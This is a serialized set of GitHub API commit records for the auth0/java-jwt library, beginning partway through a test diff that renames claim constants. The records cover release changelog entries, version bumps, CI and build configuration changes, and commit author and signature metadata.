                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
-        assertThat(e.getClaimName(), is(StandardClaims.AUDIENCE));
+        assertThat(e.getClaimName(), is(RegisteredClaims.AUDIENCE));
         assertThat(e.getClaimValue().asArray(String.class), is(new String[] {null}));
     }
 
@@ -583,9 +583,9 @@ public void shouldAddDefaultLeewayToDateClaims() {
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verification.getLeewayFor(StandardClaims.ISSUED_AT), is(0L));
-        assertThat(verification.getLeewayFor(StandardClaims.EXPIRES_AT), is(0L));
-        assertThat(verification.getLeewayFor(StandardClaims.NOT_BEFORE), is(0L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.ISSUED_AT), is(0L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.EXPIRES_AT), is(0L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.NOT_BEFORE), is(0L));
     }
 
     @Test
@@ -597,9 +597,9 @@ public void shouldAddCustomLeewayToDateClaims() {
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verification.getLeewayFor(StandardClaims.ISSUED_AT), is(1234L));
-        assertThat(verification.getLeewayFor(StandardClaims.EXPIRES_AT), is(1234L));
-        assertThat(verification.getLeewayFor(StandardClaims.NOT_BEFORE), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.NOT_BEFORE), is(1234L));
     }
 
     @Test
@@ -612,9 +612,9 @@ public void shouldOverrideDefaultIssuedAtLeeway() {
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verification.getLeewayFor(StandardClaims.ISSUED_AT), is(9999L));
-        assertThat(verification.getLeewayFor(StandardClaims.EXPIRES_AT), is(1234L));
-        assertThat(verification.getLeewayFor(StandardClaims.NOT_BEFORE), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.ISSUED_AT), is(9999L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.NOT_BEFORE), is(1234L));
     }
 
     @Test
@@ -627,9 +627,9 @@ public void shouldOverrideDefaultExpiresAtLeeway() {
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verification.getLeewayFor(StandardClaims.ISSUED_AT), is(1234L));
-        assertThat(verification.getLeewayFor(StandardClaims.EXPIRES_AT), is(9999L));
-        assertThat(verification.getLeewayFor(StandardClaims.NOT_BEFORE), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.EXPIRES_AT), is(9999L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.NOT_BEFORE), is(1234L));
     }
 
     @Test
@@ -642,9 +642,9 @@ public void shouldOverrideDefaultNotBeforeLeeway() {
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verification.getLeewayFor(StandardClaims.ISSUED_AT), is(1234L));
-        assertThat(verification.getLeewayFor(StandardClaims.EXPIRES_AT), is(1234L));
-        assertThat(verification.getLeewayFor(StandardClaims.NOT_BEFORE), is(9999L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.NOT_BEFORE), is(9999L));
     }
 
     @Test
@@ -725,7 +725,7 @@ public void shouldThrowOnInvalidNotBeforeIfPresent() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Token can't be used before 1970-01-18T02:26:32Z."));
-        assertThat(e.getClaimName(), is(StandardClaims.NOT_BEFORE));
+        assertThat(e.getClaimName(), is(RegisteredClaims.NOT_BEFORE));
         assertThat(e.getClaimValue().asLong(), is(1477592L));
     }
 
@@ -760,7 +760,7 @@ public void shouldThrowOnFutureIssuedAt() {
             assertThat(jwt, is(notNullValue()));
         });
         assertThat(e.getMessage(), is("The Token can't be used before 1970-01-18T02:26:32Z."));
-        assertThat(e.getClaimName(), is(StandardClaims.ISSUED_AT));
+        assertThat(e.getClaimName(), is(RegisteredClaims.ISSUED_AT));
         assertThat(e.getClaimValue().asLong(), is(1477592L));
     }
 
@@ -785,7 +785,7 @@ public void shouldThrowOnInvalidIssuedAtIfPresent() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Token can't be used before 1970-01-18T02:26:32Z."));
-        assertThat(e.getClaimName(), is(StandardClaims.ISSUED_AT));
+        assertThat(e.getClaimName(), is(RegisteredClaims.ISSUED_AT));
         assertThat(e.getClaimValue().asLong(), is(1477592L));
     }
 ueu(fd3eac3b721c7481a69d9109cc0666b65544ac5b}(sha(fd3eac3b721c7481a69d9109cc0666b65544ac5bnode_idEC_kwDOAQtL0doAKGZkM2VhYzNiNzIxYzc0ODFhNjlkOTEwOWNjMDY2NmI2NTU0NGFjNWIcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-05T15:17:28Zu	committer}(ju  
Poovamraj T Tjw  poovamraj@gmail.comjy  2022-05-05T15:17:28ZumessageRelease 3.19.2tree}(jm  (e0c65e26caf8d817110e2a745713ea57349b3d52url^https://api.github.com/repos/auth0/java-jwt/git/trees/e0c65e26caf8d817110e2a745713ea57349b3d52uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/fd3eac3b721c7481a69d9109cc0666b65544ac5b
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/fd3eac3b721c7481a69d9109cc0666b65544ac5bhtml_urlQhttps://github.com/auth0/java-jwt/commit/fd3eac3b721c7481a69d9109cc0666b65544ac5bcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/fd3eac3b721c7481a69d9109cc0666b65544ac5b/commentsjs  }(login	poovamrajidJ jo  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj{  }(j  	poovamrajj  J jo  MDQ6VXNlcjE1OTEwNDI1j  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj  0https://api.github.com/users/poovamraj/followersj  =https://api.github.com/users/poovamraj/following{/other_user}j  6https://api.github.com/users/poovamraj/gists{/gist_id}j  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j  4https://api.github.com/users/poovamraj/subscriptionsj  +https://api.github.com/users/poovamraj/orgsj  ,https://api.github.com/users/poovamraj/reposj  7https://api.github.com/users/poovamraj/events{/privacy}j  6https://api.github.com/users/poovamraj/received_eventsj  Userj  uparents]}(jm  (34caf1fa3371a832e9359fef15d4226461d0de0aj  \https://api.github.com/repos/auth0/java-jwt/commits/34caf1fa3371a832e9359fef15d4226461d0de0aj  Qhttps://github.com/auth0/java-jwt/commit/34caf1fa3371a832e9359fef15d4226461d0de0auastats}(totalK
	additionsK	deletionsKufiles](}(jm  (d81f9a1838cb80831b2da68ba3454a34c185f2f6filenameCHANGELOG.mdstatusmodifiedj͏  KjΏ  K changesKblob_url\https://github.com/auth0/java-jwt/blob/fd3eac3b721c7481a69d9109cc0666b65544ac5b/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/fd3eac3b721c7481a69d9109cc0666b65544ac5b/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=fd3eac3b721c7481a69d9109cc0666b65544ac5bpatchX  @@ -1,5 +1,11 @@
 # Change Log
 
+## [3.19.2](https://github.com/auth0/java-jwt/tree/3.19.2) (2022-05-05)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.1...3.19.2)
+
+**Security**
+- [SDK-3311] Added protection against CVE-2022-21449 [\#579](https://github.com/auth0/java-jwt/pull/579) ([poovamraj](https://github.com/poovamraj))
+
 ## [3.19.1](https://github.com/auth0/java-jwt/tree/3.19.1) (2022-03-30)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.0...3.19.1)
 u}(jm  (c55fa70cb1868b2816e68e0269aeb4267aff79fcjӏ  	README.mdjՏ  modifiedj͏  KjΏ  Kj׏  Kj؏  Yhttps://github.com/auth0/java-jwt/blob/fd3eac3b721c7481a69d9109cc0666b65544ac5b/README.mdjڏ  Xhttps://github.com/auth0/java-jwt/raw/fd3eac3b721c7481a69d9109cc0666b65544ac5b/README.mdj܏  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=fd3eac3b721c7481a69d9109cc0666b65544ac5bjޏ  X  @@ -25,14 +25,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.19.1</version>
+    <version>3.19.2</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.19.1'
+implementation 'com.auth0:java-jwt:3.19.2'
 ```
 
 ## Available Algorithmsueu(3940358fa90dd96bc6a78d94f8ccbe72a512f658}(sha(3940358fa90dd96bc6a78d94f8ccbe72a512f658node_idEC_kwDOAQtL0doAKDM5NDAzNThmYTkwZGQ5NmJjNmE3OGQ5NGY4Y2NiZTcyYTUxMmY2NTgcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-06T18:45:22Zu	committer}(j  GitHubj  noreply@github.comj  2022-10-06T18:45:22Zumessage!Merge branch 'master' into mastertree}(j  (b8725497e4ca6ce646f0a3e560fa93aa3a81717durl^https://api.github.com/repos/auth0/java-jwt/git/trees/b8725497e4ca6ce646f0a3e560fa93aa3a81717duj  `https://api.github.com/repos/auth0/java-jwt/git/commits/3940358fa90dd96bc6a78d94f8ccbe72a512f658
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjPyJCCRBK7hj4Ov3rIwAA7kwIAERnOGmq+WyU5qAAh2nZhKSF
e9nGsQwYshgs0hyHAiYeAa51DDTAUoEk5JcNHRzmYXudTD5ojuYhm8Ok6x5pV3KU
6SITCnL0xOwOilkHF+TpkWZ5nrWjrj92fHYfVga5VU+BN3ob+B5Nz14mk5ijWrW0
iryG2BLwCsznz6oe3EpC9QbmqG6Pg1RiYQk8VKUoa2IPI3hnwqQEr1HaYz17Yl14
sb9fcqc1r7KpqeVxYUl7afPEeqYUTUFd8d4fUDGGIuBFmTwen84m3+dqQM85bEaR
ovwzBnTFEc+wngouzFhQSyeSnBwza2elBWr2yqvJ9E2VF5ymFhlyw9+97tPdR58=
=pNJI
-----END PGP SIGNATURE-----
payloadX%  tree b8725497e4ca6ce646f0a3e560fa93aa3a81717d
parent a24c18b2073db832f3396382d0c8396562e0fb70
parent 37c262de2e6709e93ee4bc0b927ec6e729621256
author Jim Anderson <jim.anderson@auth0.com> 1665081922 -0500
committer GitHub <noreply@github.com> 1665081922 -0500

Merge branch 'master' into masteruuj  \https://api.github.com/repos/auth0/java-jwt/commits/3940358fa90dd96bc6a78d94f8ccbe72a512f658html_urlQhttps://github.com/auth0/java-jwt/commit/3940358fa90dd96bc6a78d94f8ccbe72a512f658comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/3940358fa90dd96bc6a78d94f8ccbe72a512f658/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj   <https://api.github.com/users/web-flow/following{/other_user}j"  5https://api.github.com/users/web-flow/gists{/gist_id}j$  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j&  3https://api.github.com/users/web-flow/subscriptionsj(  *https://api.github.com/users/web-flow/orgsj*  +https://api.github.com/users/web-flow/reposj,  6https://api.github.com/users/web-flow/events{/privacy}j.  5https://api.github.com/users/web-flow/received_eventsj0  Userj2  uparents](}(j  (a24c18b2073db832f3396382d0c8396562e0fb70j  \https://api.github.com/repos/auth0/java-jwt/commits/a24c18b2073db832f3396382d0c8396562e0fb70j  Qhttps://github.com/auth0/java-jwt/commit/a24c18b2073db832f3396382d0c8396562e0fb70u}(j  (37c262de2e6709e93ee4bc0b927ec6e729621256j  \https://api.github.com/repos/auth0/java-jwt/commits/37c262de2e6709e93ee4bc0b927ec6e729621256j  Qhttps://github.com/auth0/java-jwt/commit/37c262de2e6709e93ee4bc0b927ec6e729621256uestats}(totalK"	additionsK!	deletionsKufiles](}(j  (4741868d0ea0e07988454bf12db48a3373a8b8ecfilename.circleci/config.ymlstatusmodifiedjP  KjQ  K changesKblob_urlfhttps://github.com/auth0/java-jwt/blob/3940358fa90dd96bc6a78d94f8ccbe72a512f658/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/3940358fa90dd96bc6a78d94f8ccbe72a512f658/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=3940358fa90dd96bc6a78d94f8ccbe72a512f658patchX  @@ -1,5 +1,6 @@
 version: 2.1
 orbs:
+  ship: auth0/ship@0.7.1
   codecov: codecov/codecov@3
 
 commands:
@@ -56,6 +57,17 @@ workflows:
   build-and-test:
     jobs:
       - build
+      - ship/java-publish:
+          prefix-tag: false
+          context:
+            - publish-gh
+            - publish-sonatype
+          filters:
+            branches:
+              only:
+                - master
+          requires:
+            - build
   # api-diff:
   #   jobs:
   #     - api-diffu}(j  (a00fb91e5ded38b54e8919a241b840be24eea01ajV  .shiprcjX  modifiedjP  KjQ  KjZ  Kj[  Whttps://github.com/auth0/java-jwt/blob/3940358fa90dd96bc6a78d94f8ccbe72a512f658/.shiprcj]  Vhttps://github.com/auth0/java-jwt/raw/3940358fa90dd96bc6a78d94f8ccbe72a512f658/.shiprcj_  ihttps://api.github.com/repos/auth0/java-jwt/contents/.shiprc?ref=3940358fa90dd96bc6a78d94f8ccbe72a512f658ja  @@ -1,6 +1,7 @@
 {
   "files": {
-    "README.md": []
+    "README.md": [],
+    "lib/build.gradle": []
   },
   "prefixVersion": false
 }
\ No newline at end of fileu}(j  (74cdb5c1b8f307b7f71881b717fe020cdda79d69jV  lib/build.gradlejX  modifiedjP  KjQ  K jZ  Kj[  bhttps://github.com/auth0/java-jwt/blob/3940358fa90dd96bc6a78d94f8ccbe72a512f658/lib%2Fbuild.gradlej]  ahttps://github.com/auth0/java-jwt/raw/3940358fa90dd96bc6a78d94f8ccbe72a512f658/lib%2Fbuild.gradlej_  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=3940358fa90dd96bc6a78d94f8ccbe72a512f658ja  XE  @@ -1,10 +1,21 @@
+buildscript {
+    version = "4.0.0"
+}
+
 plugins {
     id 'java'
     id 'jacoco'
     id 'com.auth0.gradle.oss-library.java'
     id 'checkstyle'
 }
 
+def signingKey = findProperty('SIGNING_KEY')
+def signingKeyPwd = findProperty('SIGNING_PASSWORD')
+
+signing {
+    useInMemoryPgpKeys(signingKey, signingKeyPwd)
+}
+
 checkstyle {
     toolVersion '10.0'
     checkstyleTest.enabled = false //We are disabling lint checks for tests
@@ -134,3 +145,11 @@ jar {
 
 compileModuleInfoJava.dependsOn compileJava
 classes.dependsOn compileModuleInfoJava
+
+// Creates a version.txt file containing the current version of the SDK.
+// This file is picked up and parsed by our Ship Orb to determine the version.
+task exportVersion()  {
+    doLast {
+        new File(rootDir, "version.txt").text = "$version"
+    }
+}ueu(f84584714ef2392b77f058feb1a23a851f9d6b84}(sha(f84584714ef2392b77f058feb1a23a851f9d6b84node_idPMDY6Q29tbWl0MTc1MTc1MjE6Zjg0NTg0NzE0ZWYyMzkyYjc3ZjA1OGZlYjFhMjNhODUxZjlkNmI4NA==commit}(author}(nameSteve Hobbsemailsteve.hobbs@auth0.comdate2021-09-16T16:02:13Zu	committer}(j}  GitHubj  noreply@github.comj  2021-09-16T16:02:13ZumessageAMerge pull request #516 from auth0/release-3.18.2

Release 3.18.2tree}(ju  (c13eb51f605eb6922e77c2bb10e502b9e584ebcburl^https://api.github.com/repos/auth0/java-jwt/git/trees/c13eb51f605eb6922e77c2bb10e502b9e584ebcbuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/f84584714ef2392b77f058feb1a23a851f9d6b84
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJhQ2qFCRBK7hj4Ov3rIwAALVIIAFO3s6uHJxzi7hHVEpNlafnl
fhB1LKbQ8vJsSymd8VhPEPrkX8QXs3y5glaxpzQegjh1JTiabOlV8v2kwV/3l8Ei
x7rd5HA9/Z/iq3P4Fq9Phv6IeUK0zSWtRB5C/FnQH2jwX3NgmybdBXl3PkT2nOPt
D1qcgcMbfBZuuMdLRH/DBvyDlCLR0fOcFs/e0NqCMZFPvFNxDy1rjYaF7hA7cXSj
x3QeStBLXuRZQd5GW9PaId7EYIanBhWbTJEOzycpaoiU8ElRAFci6L429xEXQajr
sB1I5ftjRBV2hLBJPQb3e3Kp5EK17Us1iukI5GIzuVX8gWS5nF/gRx223KNz2Uw=
=F1Fa
-----END PGP SIGNATURE-----
payloadXC  tree c13eb51f605eb6922e77c2bb10e502b9e584ebcb
parent fc0ecbabc97dc6b65fb020b8aed5c9c71891718d
parent 368b3011ca25ddbdb36424725fef39f7a87f48f0
author Steve Hobbs <steve.hobbs@auth0.com> 1631808133 +0100
committer GitHub <noreply@github.com> 1631808133 +0100

Merge pull request #516 from auth0/release-3.18.2

Release 3.18.2uuj  \https://api.github.com/repos/auth0/java-jwt/commits/f84584714ef2392b77f058feb1a23a851f9d6b84html_urlQhttps://github.com/auth0/java-jwt/commit/f84584714ef2392b77f058feb1a23a851f9d6b84comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/f84584714ef2392b77f058feb1a23a851f9d6b84/commentsj{  Nj  }(loginweb-flowidJ/jw  MDQ6VXNlcjE5ODY0NDQ3
avatar_url4https://avatars.githubusercontent.com/u/19864447?v=4gravatar_idh3j  %https://api.github.com/users/web-flowj  https://github.com/web-flow
followers_url/https://api.github.com/users/web-flow/followers
following_url<https://api.github.com/users/web-flow/following{/other_user}	gists_url5https://api.github.com/users/web-flow/gists{/gist_id}starred_url<https://api.github.com/users/web-flow/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/web-flow/subscriptionsorganizations_url*https://api.github.com/users/web-flow/orgs	repos_url+https://api.github.com/users/web-flow/repos
events_url6https://api.github.com/users/web-flow/events{/privacy}received_events_url5https://api.github.com/users/web-flow/received_eventstypeUser
site_adminuparents](}(ju  (fc0ecbabc97dc6b65fb020b8aed5c9c71891718dj  \https://api.github.com/repos/auth0/java-jwt/commits/fc0ecbabc97dc6b65fb020b8aed5c9c71891718dj  Qhttps://github.com/auth0/java-jwt/commit/fc0ecbabc97dc6b65fb020b8aed5c9c71891718du}(ju  (368b3011ca25ddbdb36424725fef39f7a87f48f0j  \https://api.github.com/repos/auth0/java-jwt/commits/368b3011ca25ddbdb36424725fef39f7a87f48f0j  Qhttps://github.com/auth0/java-jwt/commit/368b3011ca25ddbdb36424725fef39f7a87f48f0uestats}(totalK	additionsK		deletionsKufiles](}(ju  (db17970c008499c0f779b90e72b272667572e8a4filenameCHANGELOG.mdstatusmodifiedjː  Kj̐  K changesKblob_url\https://github.com/auth0/java-jwt/blob/f84584714ef2392b77f058feb1a23a851f9d6b84/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/f84584714ef2392b77f058feb1a23a851f9d6b84/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=f84584714ef2392b77f058feb1a23a851f9d6b84patchXu  @@ -1,5 +1,12 @@
 # Change Log
 
+## [3.18.2](https://github.com/auth0/java-jwt/tree/3.18.2) (2021-09-16)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.1...3.18.2)
+
+**Fixed**
+- [SDK-2758] Restore withIssuer [\#513](https://github.com/auth0/java-jwt/pull/513) ([jimmyjames](https://github.com/jimmyjames))
+- [SDK-2751] Serialize audience claim when a List [\#512](https://github.com/auth0/java-jwt/pull/512) ([jimmyjames](https://github.com/jimmyjames))
+
 ## [3.18.1](https://github.com/auth0/java-jwt/tree/3.18.1) (2021-07-06)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.0...3.18.1)
 u}(ju  (c0177c3b52dd1ecd0273a0b48dc918b322cb9d2fjѐ  	README.mdjӐ  modifiedjː  Kj̐  KjՐ  Kj֐  Yhttps://github.com/auth0/java-jwt/blob/f84584714ef2392b77f058feb1a23a851f9d6b84/README.mdjؐ  Xhttps://github.com/auth0/java-jwt/raw/f84584714ef2392b77f058feb1a23a851f9d6b84/README.mdjڐ  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=f84584714ef2392b77f058feb1a23a851f9d6b84jܐ  X  @@ -23,14 +23,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.18.1</version>
+    <version>3.18.2</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.18.1'
+implementation 'com.auth0:java-jwt:3.18.2'
 ```
 
 ## Available Algorithmsueu(11c60ac596b5617aa22bd16e002b8a5d770b1ec5}(sha(11c60ac596b5617aa22bd16e002b8a5d770b1ec5node_idEC_kwDOAQtL0doAKDExYzYwYWM1OTZiNTYxN2FhMjJiZDE2ZTAwMmI4YTVkNzcwYjFlYzUcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2023-08-15T17:54:43Zu	committer}(j  Jim Andersonj  jimranderson@gmail.comj  2023-08-15T17:54:43ZumessageUse GitHub Actions for CItree}(j  (f92cd686a59c78afc0808bc97183a10b13b0983eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/f92cd686a59c78afc0808bc97183a10b13b0983euj   `https://api.github.com/repos/auth0/java-jwt/git/commits/11c60ac596b5617aa22bd16e002b8a5d770b1ec5
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj   \https://api.github.com/repos/auth0/java-jwt/commits/11c60ac596b5617aa22bd16e002b8a5d770b1ec5html_urlQhttps://github.com/auth0/java-jwt/commit/11c60ac596b5617aa22bd16e002b8a5d770b1ec5comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/11c60ac596b5617aa22bd16e002b8a5d770b1ec5/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j   'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  
jimmyjamesj  J7 j  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j  h3j   'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j   >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j"  5https://api.github.com/users/jimmyjames/subscriptionsj$  ,https://api.github.com/users/jimmyjames/orgsj&  -https://api.github.com/users/jimmyjames/reposj(  8https://api.github.com/users/jimmyjames/events{/privacy}j*  7https://api.github.com/users/jimmyjames/received_eventsj,  Userj.  uparents]}(j  (618c9968642ac4d30fab819210fd51d595473ffej   \https://api.github.com/repos/auth0/java-jwt/commits/618c9968642ac4d30fab819210fd51d595473ffej  Qhttps://github.com/auth0/java-jwt/commit/618c9968642ac4d30fab819210fd51d595473ffeuastats}(totalK	additionsK	deletionsK ufiles]}(j  (59660dd2a9bd86585bb2117ab817a83cd6815e76filename$.github/workflows/build-and-test.ymlstatusaddedjH  KjI  K changesKblob_urlxhttps://github.com/auth0/java-jwt/blob/11c60ac596b5617aa22bd16e002b8a5d770b1ec5/.github%2Fworkflows%2Fbuild-and-test.ymlraw_urlwhttps://github.com/auth0/java-jwt/raw/11c60ac596b5617aa22bd16e002b8a5d770b1ec5/.github%2Fworkflows%2Fbuild-and-test.ymlcontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/.github%2Fworkflows%2Fbuild-and-test.yml?ref=11c60ac596b5617aa22bd16e002b8a5d770b1ec5patchX  @@ -0,0 +1,27 @@
+name: auth0/java-jwt/build-and-test
+
+on:
+  pull_request:
+  merge_group:
+  push:
+    branches: ["master", "main", "v1"]
+
+jobs:
+  gradle:
+    runs-on:  ubuntu-latest
+    steps:
+      - uses: actions/checkout@v3
+      - uses: actions/setup-java@v3
+        with:
+          distribution: temurin
+          java-version: 11
+      - uses: gradle/gradle-build-action@a4cf152f482c7ca97ef56ead29bf08bcd953284c
+        with:
+          arguments: assemble apiDiff check jacocoTestReport --continue --console=plain
+      - uses: codecov/codecov-action@eaaf4bedf32dbdc6b720b63067d99c4d77d6047d
+        with:
+          flags: unittests
+      - uses: actions/upload-artifact@v3
+        with:
+          name: Reports
+          path: build/reportsuau(652bf7dac4c10d1213609a2db6fb50815920ac09}(sha(652bf7dac4c10d1213609a2db6fb50815920ac09node_idEC_kwDOAQtL0doAKDY1MmJmN2RhYzRjMTBkMTIxMzYwOWEyZGI2ZmI1MDgxNTkyMGFjMDkcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2023-03-31T03:12:01Zu	committer}(je  GitHubjg  noreply@github.comji  2023-03-31T03:12:01Zumessageupdate jackson to 2.14.2 (#657)tree}(j]  (6abedff9748f4263e64cbdea23e12c37eef0018eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/6abedff9748f4263e64cbdea23e12c37eef0018euju  `https://api.github.com/repos/auth0/java-jwt/git/commits/652bf7dac4c10d1213609a2db6fb50815920ac09
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJkJk+BCRBK7hj4Ov3rIwAAafMIAHldkOtz84nLpR+miMCI/5no
Nq5LhWZAEi+VfeTUwDtC75Jd747Z2UGNS0aGNXnDLaqNUvjvXWcHVTopfY9ikXlo
KnHR9AP/6AZ9NK5Sc7vX5y87T8Yye1iitDLrLIODX/6946Q7lnJWJSyXFl1sR3t2
tnwuud0q6uZTkpbXV+MYxKiBg3WejOFsHsTLrYz8ULDt3cuYCMMWheRwqOh2PVOG
RZpF1EYkrZsVKTHwQrD8QTU4r7PC8k1EwkT+CoxZf8lfhFMGBw84NlQQGjluuRPh
3lQR8HSZ0Hi5QONlbmOlES+9Ta0MVAPTI0Fk3ICWART+Pfl8atoP651bKESGA9E=
=jpki
-----END PGP SIGNATURE-----
payloadtree 6abedff9748f4263e64cbdea23e12c37eef0018e
parent e85a00a00543b2b17d0460e9c1c11c2aa31fbcbc
author Jim Anderson <jim.anderson@auth0.com> 1680232321 -0500
committer GitHub <noreply@github.com> 1680232321 -0500

update jackson to 2.14.2 (#657)

uuju  \https://api.github.com/repos/auth0/java-jwt/commits/652bf7dac4c10d1213609a2db6fb50815920ac09html_urlQhttps://github.com/auth0/java-jwt/commit/652bf7dac4c10d1213609a2db6fb50815920ac09comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/652bf7dac4c10d1213609a2db6fb50815920ac09/commentsjc  }(login
jimmyjamesidJ7 j_  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3ju  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
